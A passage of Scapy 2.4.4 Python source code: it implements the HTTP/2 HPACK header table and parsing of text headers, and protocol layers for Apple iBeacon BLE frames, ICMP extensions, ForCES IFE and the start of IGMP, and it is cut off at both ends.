7541 par4.1. """ return self._len __len__ = size def __str__(self): # type: () -> str """ __str__ returns the header as it would be formatted in textual format """ if self._name.startswith(':'): return "{} {}".format(self._name, self._value) else: return "{}: {}".format(self._name, self._value) def __bytes__(self): return bytes_encode(self.__str__()) class HPackHdrTable(Sized): """ HPackHdrTable is a helper class that implements some of the logic associated with indexing of headers (read and write operations in this "registry". THe HPackHdrTable also implements convenience functions to easily # noqa: E501 convert to and from textual representation and binary representation of a HTTP/2 requests """ __slots__ = [ '_dynamic_table', '_dynamic_table_max_size', '_dynamic_table_cap_size', '_regexp' ] """ :var _dynamic_table: the list containing entries requested to be added by the peer and registered with a register() call :var _dynamic_table_max_size: the current maximum size of the dynamic table in bytes. This value is updated with the Dynamic Table Size Update messages defined in RFC 7541 par6.3 :var _dynamic_table_cap_size: the maximum size of the dynamic table in bytes. This value is updated with the SETTINGS_HEADER_TABLE_SIZE HTTP/2 setting. """ # Manually imported from RFC 7541 Appendix A _static_entries = { 1: HPackHdrEntry(':authority', ''), 2: HPackHdrEntry(':method', 'GET'), 3: HPackHdrEntry(':method', 'POST'), 4: HPackHdrEntry(':path', '/'), 5: HPackHdrEntry(':path', '/index.html'), 6: HPackHdrEntry(':scheme', 'http'), 7: HPackHdrEntry(':scheme', 'https'), 8: HPackHdrEntry(':status', '200'), 9: HPackHdrEntry(':status', '204'), 10: HPackHdrEntry(':status', '206'), 11: HPackHdrEntry(':status', '304'), 12: HPackHdrEntry(':status', '400'), 13: HPackHdrEntry(':status', '404'), 14: HPackHdrEntry(':status', '500'), 15: HPackHdrEntry('accept-charset', ''), 16: HPackHdrEntry('accept-encoding', 'gzip, deflate'), 17: HPackHdrEntry('accept-language', ''), 18: HPackHdrEntry('accept-ranges', ''), 19: HPackHdrEntry('accept', ''), 20: HPackHdrEntry('access-control-allow-origin', ''), 21: HPackHdrEntry('age', ''), 22: HPackHdrEntry('allow', ''), 23: HPackHdrEntry('authorization', ''), 24: HPackHdrEntry('cache-control', ''), 25: HPackHdrEntry('content-disposition', ''), 26: HPackHdrEntry('content-encoding', ''), 27: HPackHdrEntry('content-language', ''), 28: HPackHdrEntry('content-length', ''), 29: HPackHdrEntry('content-location', ''), 30: HPackHdrEntry('content-range', ''), 31: HPackHdrEntry('content-type', ''), 32: HPackHdrEntry('cookie', ''), 33: HPackHdrEntry('date', ''), 34: HPackHdrEntry('etag', ''), 35: HPackHdrEntry('expect', ''), 36: HPackHdrEntry('expires', ''), 37: HPackHdrEntry('from', ''), 38: HPackHdrEntry('host', ''), 39: HPackHdrEntry('if-match', ''), 40: HPackHdrEntry('if-modified-since', ''), 41: HPackHdrEntry('if-none-match', ''), 42: HPackHdrEntry('if-range', ''), 43: HPackHdrEntry('if-unmodified-since', ''), 44: HPackHdrEntry('last-modified', ''), 45: HPackHdrEntry('link', ''), 46: HPackHdrEntry('location', ''), 47: HPackHdrEntry('max-forwards', ''), 48: HPackHdrEntry('proxy-authenticate', ''), 49: HPackHdrEntry('proxy-authorization', ''), 50: HPackHdrEntry('range', ''), 51: HPackHdrEntry('referer', ''), 52: HPackHdrEntry('refresh', ''), 53: HPackHdrEntry('retry-after', ''), 54: HPackHdrEntry('server', ''), 55: HPackHdrEntry('set-cookie', ''), 56: HPackHdrEntry('strict-transport-security', ''), 57: HPackHdrEntry('transfer-encoding', ''), 58: HPackHdrEntry('user-agent', ''), 59: HPackHdrEntry('vary', ''), 60: HPackHdrEntry('via', ''), 61: HPackHdrEntry('www-authenticate', ''), } # The value of this variable cannot be determined at declaration time. It is # noqa: E501 # initialized by an init_static_table call _static_entries_last_idx = None # type: int @classmethod def init_static_table(cls): # type: () -> None cls._static_entries_last_idx = max(cls._static_entries) def __init__(self, dynamic_table_max_size=4096, dynamic_table_cap_size=4096): # noqa: E501 # type: (int, int) -> None """ :param int dynamic_table_max_size: the current maximum size of the dynamic entry table in bytes # noqa: E501 :param int dynamic_table_cap_size: the maximum-maximum size of the dynamic entry table in bytes # noqa: E501 :raises:s AssertionError """ self._regexp = None # type: Pattern if isinstance(type(self)._static_entries_last_idx, type(None)): type(self).init_static_table() assert dynamic_table_max_size <= dynamic_table_cap_size, \ 'EINVAL: dynamic_table_max_size too large; expected value is less or equal to dynamic_table_cap_size' # noqa: E501 self._dynamic_table = [] # type: List[HPackHdrEntry] self._dynamic_table_max_size = dynamic_table_max_size self._dynamic_table_cap_size = dynamic_table_cap_size def __getitem__(self, idx): # type: (int) -> HPackHdrEntry """Gets an element from the header tables (static or dynamic indifferently) :param int idx: the index number of the entry to retrieve. If the index value is superior to the last index of the static entry table, then the dynamic entry type is requested, following the procedure described in RFC 7541 par2.3.3 :return: HPackHdrEntry: the entry defined at this requested index. If the entry does not exist, KeyError is # noqa: E501 raised :raises: KeyError, AssertionError """ assert(idx >= 0) if idx > type(self)._static_entries_last_idx: idx -= type(self)._static_entries_last_idx + 1 if idx >= len(self._dynamic_table): raise KeyError( 'EINVAL: idx: out-of-bound read: {}; maximum index: {}'.format(idx, len(self._dynamic_table)) # noqa: E501 ) return self._dynamic_table[idx] return type(self)._static_entries[idx] def resize(self, ns): # type: (int) -> None """Resize the dynamic table. If the new size (ns) must be between 0 and the cap size. If the new size is lower than the current size of the dynamic table, entries are evicted. :param int ns: the new size of the dynamic table :raises: AssertionError """ assert 0 <= ns <= self._dynamic_table_cap_size, \ 'EINVAL: ns: out-of-range value; expected value is in the range [0;{}['.format(self._dynamic_table_cap_size) # noqa: E501 old_size = self._dynamic_table_max_size self._dynamic_table_max_size = ns if old_size > self._dynamic_table_max_size: self._reduce_dynamic_table() def recap(self, nc): # type: (int) -> None """recap changes the maximum size limit of the dynamic table. It also proceeds to a resize(), if the new size is lower than the previous one. :param int nc: the new cap of the dynamic table (that is the maximum-maximum size) # noqa: E501 :raises: AssertionError """ assert(nc >= 0) t = self._dynamic_table_cap_size > nc self._dynamic_table_cap_size = nc if t: # The RFC is not clear about whether this resize should happen; # we do it anyway self.resize(nc) def _reduce_dynamic_table(self, new_entry_size=0): # type: (int) -> None """_reduce_dynamic_table evicts entries from the dynamic table until it fits in less than the current size limit. The optional parameter, new_entry_size, allows the resize to happen so that a new entry of this size fits in. :param int new_entry_size: if called before adding a new entry, the size of the new entry in bytes (following # noqa: E501 the RFC7541 definition of the size of an entry) :raises: AssertionError """ assert(new_entry_size >= 0) cur_sz = len(self) dyn_tbl_sz = len(self._dynamic_table) while dyn_tbl_sz > 0 and cur_sz + new_entry_size > self._dynamic_table_max_size: # noqa: E501 last_elmt_sz = len(self._dynamic_table[-1]) self._dynamic_table.pop() dyn_tbl_sz -= 1 cur_sz -= last_elmt_sz def register(self, hdrs): # type: (Union[HPackLitHdrFldWithIncrIndexing, H2Frame, List[HPackHeaders]]) -> None # noqa: E501 """register adds to this table the instances of HPackLitHdrFldWithIncrIndexing provided as parameters. A H2Frame with a H2HeadersFrame payload can be provided, as much as a python list of HPackHeaders or a single HPackLitHdrFldWithIncrIndexing instance. :param HPackLitHdrFldWithIncrIndexing|H2Frame|list of HPackHeaders hdrs: the header(s) to register # noqa: E501 :raises: AssertionError """ if isinstance(hdrs, H2Frame): hdrs = [hdr for hdr in hdrs.payload.hdrs if isinstance(hdr, HPackLitHdrFldWithIncrIndexing)] # noqa: E501 elif isinstance(hdrs, HPackLitHdrFldWithIncrIndexing): hdrs = [hdrs] else: hdrs = [hdr for hdr in hdrs if isinstance(hdr, HPackLitHdrFldWithIncrIndexing)] # noqa: E501 for hdr in hdrs: if hdr.index == 0: hdr_name = hdr.hdr_name.getfieldval('data').origin() else: idx = int(hdr.index) hdr_name = self[idx].name() hdr_value = hdr.hdr_value.getfieldval('data').origin() # Note: we do not delete any existing hdrentry with the same names # and values, as dictated by RFC 7541 par2.3.2 entry = HPackHdrEntry(hdr_name, hdr_value) # According to RFC7541 par4.4, "Before a new entry is added to # the dynamic table, entries are evicted # from the end of the dynamic table until the size of the dynamic # table is less than or equal to (maximum size - new entry size) # or until the table is empty" # Also, "It is not an error to attempt to add an entry that is # larger than the maximum size; an attempt to add an entry larger # than the maximum size causes the table to be emptied of all # existing entries and results in an empty table" # For this reason, we first call the _reduce_dynamic_table and # then throw an assertion error if the new entry does not fit in new_entry_len = len(entry) self._reduce_dynamic_table(new_entry_len) assert(new_entry_len <= self._dynamic_table_max_size) self._dynamic_table.insert(0, entry) def get_idx_by_name(self, name): # type: (str) -> Optional[int] """ get_idx_by_name returns the index of a matching registered header This implementation will prefer returning a static entry index whenever possible. If multiple matching header name are found in the static table, there is insurance that the first entry (lowest index number) will be returned. If no matching header is found, this method returns None. """ name = name.lower() for key, val in six.iteritems(type(self)._static_entries): if val.name() == name: return key for idx, val in enumerate(self._dynamic_table): if val.name() == name: return type(self)._static_entries_last_idx + idx + 1 return None def get_idx_by_name_and_value(self, name, value): # type: (str, str) -> Optional[int] """ get_idx_by_name_and_value returns the index of a matching registered header This implementation will prefer returning a static entry index whenever possible. If multiple matching headers are found in the dynamic table, the lowest index is returned If no matching header is found, this method returns None. """ name = name.lower() for key, val in six.iteritems(type(self)._static_entries): if val.name() == name and val.value() == value: return key for idx, val in enumerate(self._dynamic_table): if val.name() == name and val.value() == value: return type(self)._static_entries_last_idx + idx + 1 return None def __len__(self): # type: () -> int """ __len__ returns the summed length of all dynamic entries """ return sum(len(x) for x in self._dynamic_table) def gen_txt_repr(self, hdrs, register=True): # type: (Union[H2Frame, List[HPackHeaders]], Optional[bool]) -> str """ gen_txt_repr returns a "textual" representation of the provided headers. The output of this function is compatible with the input of parse_txt_hdrs. :param H2Frame|list of HPackHeaders hdrs: the list of headers to convert to textual representation. :param bool: whether incremental headers should be added to the dynamic table as we generate the text representation :return: str: the textual representation of the provided headers :raises: AssertionError """ lst = [] if isinstance(hdrs, H2Frame): hdrs = hdrs.payload.hdrs for hdr in hdrs: try: if isinstance(hdr, HPackIndexedHdr): lst.append('{}'.format(self[hdr.index])) elif isinstance(hdr, ( HPackLitHdrFldWithIncrIndexing, HPackLitHdrFldWithoutIndexing )): if hdr.index != 0: name = self[hdr.index].name() else: name = hdr.hdr_name.getfieldval('data').origin() if name.startswith(':'): lst.append( '{} {}'.format( name, hdr.hdr_value.getfieldval('data').origin() ) ) else: lst.append( '{}: {}'.format( name, hdr.hdr_value.getfieldval('data').origin() ) ) if register and isinstance(hdr, HPackLitHdrFldWithIncrIndexing): # noqa: E501 self.register(hdr) except KeyError as e: # raised when an index is out-of-bound print(e) continue return '\n'.join(lst) @staticmethod def _optimize_header_length_and_packetify(s): # type: (str) -> HPackHdrString zs = HPackZString(s) if len(zs) >= len(s): return HPackHdrString(data=HPackLiteralString(s)) return HPackHdrString(data=zs) def _convert_a_header_to_a_h2_header(self, hdr_name, hdr_value, is_sensitive, should_index): # noqa: E501 # type: (str, str, Callable[[str, str], bool], Callable[[str], bool]) -> Tuple[HPackHeaders, int] # noqa: E501 """ _convert_a_header_to_a_h2_header builds a HPackHeaders from a header name and a value. It returns a HPackIndexedHdr whenever possible. If not, # noqa: E501 it returns a HPackLitHdrFldWithoutIndexing or a HPackLitHdrFldWithIncrIndexing, based on the should_index callback. HPackLitHdrFldWithoutIndexing is forced if the is_sensitive callback returns True and its never_index bit is set. """ # If both name and value are already indexed idx = self.get_idx_by_name_and_value(hdr_name, hdr_value) if idx is not None: return HPackIndexedHdr(index=idx), len(self[idx]) # The value is not indexed for this headers _hdr_value = self._optimize_header_length_and_packetify(hdr_value) # Searching if the header name is indexed idx = self.get_idx_by_name(hdr_name) if idx is not None: if is_sensitive( hdr_name, _hdr_value.getfieldval('data').origin() ): return HPackLitHdrFldWithoutIndexing( never_index=1, index=idx, hdr_value=_hdr_value ), len( HPackHdrEntry( self[idx].name(), _hdr_value.getfieldval('data').origin() ) ) if should_index(hdr_name): return HPackLitHdrFldWithIncrIndexing( index=idx, hdr_value=_hdr_value ), len( HPackHdrEntry( self[idx].name(), _hdr_value.getfieldval('data').origin() ) ) return HPackLitHdrFldWithoutIndexing( index=idx, hdr_value=_hdr_value ), len( HPackHdrEntry( self[idx].name(), _hdr_value.getfieldval('data').origin() ) ) _hdr_name = self._optimize_header_length_and_packetify(hdr_name) if is_sensitive( _hdr_name.getfieldval('data').origin(), _hdr_value.getfieldval('data').origin() ): return HPackLitHdrFldWithoutIndexing( never_index=1, index=0, hdr_name=_hdr_name, hdr_value=_hdr_value ), len( HPackHdrEntry( _hdr_name.getfieldval('data').origin(), _hdr_value.getfieldval('data').origin() ) ) if should_index(_hdr_name.getfieldval('data').origin()): return HPackLitHdrFldWithIncrIndexing( index=0, hdr_name=_hdr_name, hdr_value=_hdr_value ), len( HPackHdrEntry( _hdr_name.getfieldval('data').origin(), _hdr_value.getfieldval('data').origin() ) ) return HPackLitHdrFldWithoutIndexing( index=0, hdr_name=_hdr_name, hdr_value=_hdr_value ), len( HPackHdrEntry( _hdr_name.getfieldval('data').origin(), _hdr_value.getfieldval('data').origin() ) ) def _parse_header_line(self, line): # type: (str) -> Union[Tuple[None, None], Tuple[str, str]] if self._regexp is None: self._regexp = re.compile(br'^(?::([a-z\-0-9]+)|([a-z\-0-9]+):)\s+(.+)$') # noqa: E501 hdr_line = line.rstrip() grp = self._regexp.match(hdr_line) if grp is None or len(grp.groups()) != 3: return None, None if grp.group(1) is not None: hdr_name = b':' + grp.group(1) else: hdr_name = grp.group(2) return plain_str(hdr_name.lower()), plain_str(grp.group(3)) def parse_txt_hdrs(self, s, # type: str stream_id=1, # type: int body=None, # type: Optional[str] max_frm_sz=4096, # type: int max_hdr_lst_sz=0, # type: int is_sensitive=lambda n, v: False, # type: Callable[[str, str], bool] # noqa: E501 should_index=lambda x: False, # type: Callable[[str], bool] # noqa: E501 register=True, # type: bool ): # type: (...) -> H2Seq """ parse_txt_hdrs parses headers expressed in text and converts them into a series of H2Frames with the "correct" flags. A body can be provided in which case, the data frames are added, bearing the End Stream flag, instead of the H2HeadersFrame/H2ContinuationFrame. The generated frames may respect max_frm_sz (SETTINGS_MAX_FRAME_SIZE) and max_hdr_lst_sz (SETTINGS_MAX_HEADER_LIST_SIZE) if provided. The headers are split into multiple headers fragment (and H2Frames) to respect these limits. Also, a callback can be provided to tell if a header should be never indexed (sensitive headers, such as cookies), and another callback say if the header should be registered into the index table at all. For an header to be registered, the is_sensitive callback must return False AND the should_index callback should return True. This is the default behavior. :param str s: the string to parse for headers :param int stream_id: the stream id to use in the generated H2Frames :param str/None body: the eventual body of the request, that is added to the generated frames :param int max_frm_sz: the maximum frame size. This is used to split the headers and data frames according to the maximum frame size negotiated for this connection. :param int max_hdr_lst_sz: the maximum size of a "header fragment" as defined in RFC7540 :param callable is_sensitive: callback that returns True if the provided header is sensible and must be stored in a header packet requesting this header never to be indexed :param callable should_index: callback that returns True if the provided header should be stored in a header packet requesting indexation in the dynamic header table. :param bool register: whether to register new headers with incremental indexing as we parse them :raises: Exception """ sio = BytesIO(s) base_frm_len = len(raw(H2Frame())) ret = H2Seq() cur_frm = H2HeadersFrame() # type: Union[H2HeadersFrame, H2ContinuationFrame] # noqa: E501 cur_hdr_sz = 0 # For each line in the headers str to parse for hdr_line in sio: hdr_name, hdr_value = self._parse_header_line(hdr_line) if hdr_name is None: continue new_hdr, new_hdr_len = self._convert_a_header_to_a_h2_header( hdr_name, hdr_value, is_sensitive, should_index ) new_hdr_bin_len = len(raw(new_hdr)) if register and isinstance(new_hdr, HPackLitHdrFldWithIncrIndexing): # noqa: E501 self.register(new_hdr) # The new header binary length (+ base frame size) must not exceed # the maximum frame size or it will just never fit. Also, the # header entry length (as specified in RFC7540 par6.5.2) must not # exceed the maximum length of a header fragment or it will just # never fit if (new_hdr_bin_len + base_frm_len > max_frm_sz or (max_hdr_lst_sz != 0 and new_hdr_len > max_hdr_lst_sz)): raise Exception('Header too long: {}'.format(hdr_name)) if (max_frm_sz < len(raw(cur_frm)) + base_frm_len + new_hdr_len or ( max_hdr_lst_sz != 0 and max_hdr_lst_sz < cur_hdr_sz + new_hdr_len ) ): flags = set() if isinstance(cur_frm, H2HeadersFrame) and not body: flags.add('ES') ret.frames.append(H2Frame(stream_id=stream_id, flags=flags) / cur_frm) # noqa: E501 cur_frm = H2ContinuationFrame() cur_hdr_sz = 0 hdr_list = cur_frm.hdrs hdr_list += new_hdr cur_hdr_sz += new_hdr_len flags = {'EH'} if isinstance(cur_frm, H2HeadersFrame) and not body: flags.add('ES') ret.frames.append(H2Frame(stream_id=stream_id, flags=flags) / cur_frm) if body: base_data_frm_len = len(raw(H2DataFrame())) sio = BytesIO(body) frgmt = sio.read(max_frm_sz - base_data_frm_len - base_frm_len) while frgmt: nxt_frgmt = sio.read(max_frm_sz - base_data_frm_len - base_frm_len) # noqa: E501 flags = set() if len(nxt_frgmt) == 0: flags.add('ES') ret.frames.append( H2Frame(stream_id=stream_id, flags=flags) / H2DataFrame(data=frgmt) # noqa: E501 ) frgmt = nxt_frgmt return ret scapy-2.4.4/scapy/contrib/ibeacon.py000066400000000000000000000066011372370053500174010ustar00rootroot00000000000000# -*- mode: python3; indent-tabs-mode: nil; tab-width: 4 -*- # ibeacon.py - protocol handlers for iBeacons and other Apple devices # # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Michael Farrell # This program is published under a GPLv2 (or later) license # # scapy.contrib.description = iBeacon BLE proximity beacon # scapy.contrib.status = loads """ scapy.contrib.ibeacon - Apple iBeacon Bluetooth LE proximity beacons. Packet format documentation can be found at at: * https://en.wikipedia.org/wiki/IBeacon#Packet_Structure_Byte_Map (public) * https://developer.apple.com/ibeacon/ (official, requires license) """ from scapy.fields import ByteEnumField, ConditionalField, LenField, \ PacketListField, ShortField, SignedByteField, UUIDField from scapy.layers.bluetooth import EIR_Hdr, EIR_Manufacturer_Specific_Data, \ LowEnergyBeaconHelper from scapy.packet import bind_layers, Packet APPLE_MFG = 0x004c class Apple_BLE_Submessage(Packet, LowEnergyBeaconHelper): """ A basic Apple submessage. """ name = "Apple BLE submessage" fields_desc = [ ByteEnumField("subtype", None, { 0x01: "overflow", 0x02: "ibeacon", 0x05: "airdrop", 0x07: "airpods", 0x09: "airplay_sink", 0x0a: "airplay_src", 0x0c: "handoff", 0x10: "nearby", }), ConditionalField( # "overflow" messages omit `len` field LenField("len", None, fmt="B"), lambda pkt: pkt.subtype != 0x01 ), ] def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. if self.subtype == 0x01: # Overflow messages are always 16 bytes. return s[:16], s[16:] return s[:self.len], s[self.len:] # These methods are here in case you only want to send 1 submessage. # It creates an Apple_BLE_Frame to wrap your (single) Apple_BLE_Submessage. def build_frame(self): """Wraps this submessage in a Apple_BLE_Frame.""" return Apple_BLE_Frame(plist=[self]) def build_eir(self): """See Apple_BLE_Frame.build_eir.""" return self.build_frame().build_eir() class Apple_BLE_Frame(Packet, LowEnergyBeaconHelper): """ The wrapper for a BLE manufacturer-specific data advertisement from Apple devices. Each advertisement is composed of one or multiple submessages. The length of this field comes from the EIR_Hdr. """ name = "Apple BLE broadcast frame" fields_desc = [ PacketListField("plist", None, Apple_BLE_Submessage) ] def build_eir(self): """Builds a list of EIR messages to wrap this frame.""" return LowEnergyBeaconHelper.base_eir + [ EIR_Hdr() / EIR_Manufacturer_Specific_Data() / self ] class IBeacon_Data(Packet): """ iBeacon broadcast data frame. Composed on top of an Apple_BLE_Submessage. """ name = "iBeacon data" fields_desc = [ UUIDField("uuid", None, uuid_fmt=UUIDField.FORMAT_BE), ShortField("major", None), ShortField("minor", None), SignedByteField("tx_power", None), ] bind_layers(EIR_Manufacturer_Specific_Data, Apple_BLE_Frame, company_id=APPLE_MFG) bind_layers(Apple_BLE_Submessage, IBeacon_Data, subtype=2) scapy-2.4.4/scapy/contrib/icmp_extensions.py000066400000000000000000000157401372370053500212140ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = ICMP Extensions # scapy.contrib.status = loads from __future__ import absolute_import import struct import scapy from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteField, ConditionalField, \ FieldLenField, IPField, IntField, PacketListField, ShortField, \ StrLenField from scapy.layers.inet import IP, ICMP, checksum from scapy.layers.inet6 import IP6Field from scapy.error import warning from scapy.contrib.mpls import MPLS import scapy.modules.six as six from scapy.config import conf class ICMPExtensionObject(Packet): name = 'ICMP Extension Object' fields_desc = [ShortField('len', None), ByteField('classnum', 0), ByteField('classtype', 0)] def post_build(self, p, pay): if self.len is None: tmp_len = len(p) + len(pay) p = struct.pack('!H', tmp_len) + p[2:] return p + pay class ICMPExtensionHeader(Packet): name = 'ICMP Extension Header (RFC4884)' fields_desc = [BitField('version', 2, 4), BitField('reserved', 0, 12), BitField('chksum', None, 16)] _min_ieo_len = len(ICMPExtensionObject()) def post_build(self, p, pay): if self.chksum is None: ck = checksum(p) p = p[:2] + chr(ck >> 8) + chr(ck & 0xff) + p[4:] return p + pay def guess_payload_class(self, payload): if len(payload) < self._min_ieo_len: return Packet.guess_payload_class(self, payload) # Look at fields of the generic ICMPExtensionObject to determine which # bound extension type to use. ieo = ICMPExtensionObject(payload) if ieo.len < self._min_ieo_len: return Packet.guess_payload_class(self, payload) for fval, cls in self.payload_guess: if all(hasattr(ieo, k) and v == ieo.getfieldval(k) for k, v in six.iteritems(fval)): return cls return ICMPExtensionObject def ICMPExtension_post_dissection(self, pkt): # RFC4884 section 5.2 says if the ICMP packet length # is >144 then ICMP extensions start at byte 137. lastlayer = pkt.lastlayer() if not isinstance(lastlayer, conf.padding_layer): return if IP in pkt: if (ICMP in pkt and pkt[ICMP].type in [3, 11, 12] and pkt.len > 144): bytes = pkt[ICMP].build()[136:] else: return elif scapy.layers.inet6.IPv6 in pkt: if ((scapy.layers.inet6.ICMPv6TimeExceeded in pkt or scapy.layers.inet6.ICMPv6DestUnreach in pkt) and pkt.plen > 144): bytes = pkt[scapy.layers.inet6.ICMPv6TimeExceeded].build()[136:] else: return else: return # validate checksum ieh = ICMPExtensionHeader(bytes) if checksum(ieh.build()): return # failed lastlayer.load = lastlayer.load[:-len(ieh)] lastlayer.add_payload(ieh) class ICMPExtensionMPLS(ICMPExtensionObject): name = 'ICMP Extension Object - MPLS (RFC4950)' fields_desc = [ShortField('len', None), ByteField('classnum', 1), ByteField('classtype', 1), PacketListField('stack', [], MPLS, length_from=lambda pkt: pkt.len - 4)] class ICMPExtensionInterfaceInformation(ICMPExtensionObject): name = 'ICMP Extension Object - Interface Information Object (RFC5837)' fields_desc = [ShortField('len', None), ByteField('classnum', 2), BitField('interface_role', 0, 2), BitField('reserved', 0, 2), BitField('has_ifindex', 0, 1), BitField('has_ipaddr', 0, 1), BitField('has_ifname', 0, 1), BitField('has_mtu', 0, 1), ConditionalField( IntField('ifindex', None), lambda pkt: pkt.has_ifindex == 1), ConditionalField( ShortField('afi', None), lambda pkt: pkt.has_ipaddr == 1), ConditionalField( ShortField('reserved2', 0), lambda pkt: pkt.has_ipaddr == 1), ConditionalField( IPField('ip4', None), lambda pkt: pkt.afi == 1), ConditionalField( IP6Field('ip6', None), lambda pkt: pkt.afi == 2), ConditionalField( FieldLenField('ifname_len', None, fmt='B', length_of='ifname'), lambda pkt: pkt.has_ifname == 1), ConditionalField( StrLenField('ifname', None, length_from=lambda pkt: pkt.ifname_len), lambda pkt: pkt.has_ifname == 1), ConditionalField( IntField('mtu', None), lambda pkt: pkt.has_mtu == 1)] def self_build(self, field_pos_list=None): if self.afi is None: if self.ip4 is not None: self.afi = 1 elif self.ip6 is not None: self.afi = 2 if self.has_ifindex and self.ifindex is None: warning('has_ifindex set but ifindex is not set.') if self.has_ipaddr and self.afi is None: warning('has_ipaddr set but afi is not set.') if self.has_ipaddr and self.ip4 is None and self.ip6 is None: warning('has_ipaddr set but ip4 or ip6 is not set.') if self.has_ifname and self.ifname is None: warning('has_ifname set but ifname is not set.') if self.has_mtu and self.mtu is None: warning('has_mtu set but mtu is not set.') return ICMPExtensionObject.self_build(self, field_pos_list=field_pos_list) # noqa: E501 # Add the post_dissection() method to the existing ICMPv4 and # ICMPv6 error messages scapy.layers.inet.ICMPerror.post_dissection = ICMPExtension_post_dissection scapy.layers.inet.TCPerror.post_dissection = ICMPExtension_post_dissection scapy.layers.inet.UDPerror.post_dissection = ICMPExtension_post_dissection scapy.layers.inet6.ICMPv6DestUnreach.post_dissection = ICMPExtension_post_dissection # noqa: E501 scapy.layers.inet6.ICMPv6TimeExceeded.post_dissection = ICMPExtension_post_dissection # noqa: E501 # ICMPExtensionHeader looks at fields from the upper layer object when # determining which upper layer to use. bind_layers(ICMPExtensionHeader, ICMPExtensionMPLS, classnum=1, classtype=1) bind_layers(ICMPExtensionHeader, ICMPExtensionInterfaceInformation, classnum=2) scapy-2.4.4/scapy/contrib/ife.py000066400000000000000000000070231372370053500165430ustar00rootroot00000000000000# scapy.contrib.description = ForCES Inter-FE LFB type (IFE) # scapy.contrib.status = loads """ IFE - ForCES Inter-FE LFB type ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :author: Alexander Aring, aring@mojatatu.com :license: GPLv2 This module is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This module is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :description: This module provides Scapy layers for the IFE protocol. normative references: - RFC 8013 Forwarding and Control Element Separation (ForCES) Inter-FE Logical Functional Block (LFB) https://tools.ietf.org/html/rfc8013 """ import functools from scapy.data import ETHER_TYPES from scapy.packet import Packet, bind_layers from scapy.fields import FieldLenField, PacketListField, IntField, \ MultipleTypeField, ShortField, ShortEnumField, StrField, PadField from scapy.layers.l2 import Ether ETH_P_IFE = 0xed3e ETHER_TYPES[ETH_P_IFE] = 'IFE' # The value to set for the skb mark. IFE_META_SKBMARK = 0x0001 IFE_META_HASHID = 0x0002 # Value to set for priority in the skb structure. IFE_META_PRIO = 0x0003 IFE_META_QMAP = 0x0004 # Value to set for the traffic control index in the skb structure. IFE_META_TCINDEX = 0x0005 IFE_META_TYPES = { IFE_META_SKBMARK: "SKBMark", IFE_META_HASHID: "HashID", IFE_META_PRIO: "Prio", IFE_META_QMAP: "QMap", IFE_META_TCINDEX: "TCIndex" } IFE_TYPES_SHORT = [IFE_META_TCINDEX] IFE_TYPES_INT = [ IFE_META_SKBMARK, IFE_META_PRIO, ] class IFETlv(Packet): """ Parent Class interhit by all ForCES TLV strucutures """ name = "IFETlv" fields_desc = [ ShortEnumField("type", 0, IFE_META_TYPES), FieldLenField("length", None, length_of="value", adjust=lambda pkt, x: x + 4), MultipleTypeField( [ (PadField(ShortField("value", 0), 4, padwith=b'\x00'), lambda pkt: pkt.type in IFE_TYPES_SHORT), (PadField(IntField("value", 0), 4, padwith=b'\x00'), lambda pkt: pkt.type in IFE_TYPES_INT), ], PadField(IntField("value", 0), 4, padwith=b'\x00') ), ] def extract_padding(self, s): return "", s class IFETlvStr(IFETlv): """ A IFE TLV with variable payload """ fields_desc = [ ShortEnumField("type", 0, IFE_META_TYPES), FieldLenField("length", None, length_of="value", adjust=lambda pkt, x: x + 4), StrField("value", "") ] class IFE(Packet): """ Main IFE Packet Class """ name = "IFE" fields_desc = [ FieldLenField("mdlen", None, length_of="tlvs", adjust=lambda pkt, x: x + 2), PacketListField("tlvs", None, IFETlv), ] IFESKBMark = functools.partial(IFETlv, type=IFE_META_SKBMARK) IFEHashID = functools.partial(IFETlv, type=IFE_META_HASHID) IFEPrio = functools.partial(IFETlv, type=IFE_META_PRIO) IFEQMap = functools.partial(IFETlv, type=IFE_META_QMAP) IFETCIndex = functools.partial(IFETlv, type=IFE_META_TCINDEX) bind_layers(Ether, IFE, type=ETH_P_IFE) scapy-2.4.4/scapy/contrib/igmp.py000066400000000000000000000151741372370053500167420ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Internet Group Management Protocol v1/v2 (IGMP/IGMPv2) # scapy.contrib.status = loads from __future__ import print_function from scapy.compat import chb, orb from scapy.error import warning from scapy.fields import ByteEnumField, ByteField, IPField, XShortField from scapy.layers.inet import IP, IPOption_Router_Alert from scapy.layers.l2 import Ether, getmacbyip from scapy.packet import bind_layers, Packet from scapy.utils import atol, checksum def isValidMCAddr(ip): """convert dotted quad string to long and check the first octet""" FirstOct = atol(ip) >> 24 & 0xFF return (FirstOct >= 224) and (FirstOct <= 239) class IGMP(Packet): """IGMP Message Class for v1 and v2. This class is derived from class Packet. You need call "igmpize()" so the packet is transformed according the RFC when sent. a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMP(type=0x12, gaddr="224.2.3.4") x = a/b/c x[IGMP].igmpize() sendp(a/b/c, iface="en0") Parameters: type IGMP type field, 0x11, 0x12, 0x16 or 0x17 mrcode Maximum Response time (zero for v1) gaddr Multicast Group Address 224.x.x.x/4 See RFC2236, Section 2. Introduction for definitions of proper IGMPv2 